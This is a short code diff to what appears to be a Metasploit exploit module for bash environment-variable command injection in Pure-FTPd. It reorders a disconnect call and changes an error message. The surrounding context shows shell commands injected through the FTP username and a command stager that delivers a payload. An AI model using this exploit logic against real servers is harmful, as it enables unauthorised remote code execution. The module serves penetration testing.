diff --git a/modules/exploits/multi/ftp/pureftpd_bash_env_exec.rb b/modules/exploits/multi/ftp/pureftpd_bash_env_exec.rb index c6e1c873cce8..af0e6718abce 100644 --- a/modules/exploits/multi/ftp/pureftpd_bash_env_exec.rb +++ b/modules/exploits/multi/ftp/pureftpd_bash_env_exec.rb @@ -75,11 +75,12 @@ def check random_id = (rand(100) + 1) command = "echo auth_ok:1; echo uid:#{random_id}; echo gid:#{random_id}; echo dir:/tmp; echo end" if send_command(username, command) =~ /^2\d\d ok./i - return CheckCode::Safe if banner !~ /pure-ftpd/i disconnect + return CheckCode::Safe if banner !~ /pure-ftpd/i command = "echo auth_ok:0; echo end" if send_command(username, command) =~ /^5\d\d login authentication failed/i + disconnect return CheckCode::Vulnerable end end @@ -98,7 +99,7 @@ def exploit # Cannot use generic/shell_reverse_tcp inside an elf # Checking before proceeds if generate_payload_exe.blank? - fail_with(Failure::BadConfig, "#{peer} - Failed to store payload inside executable, please select a native payload") + fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Failed to store payload inside executable, please select a native payload") end execute_cmdstager(linemax: 500)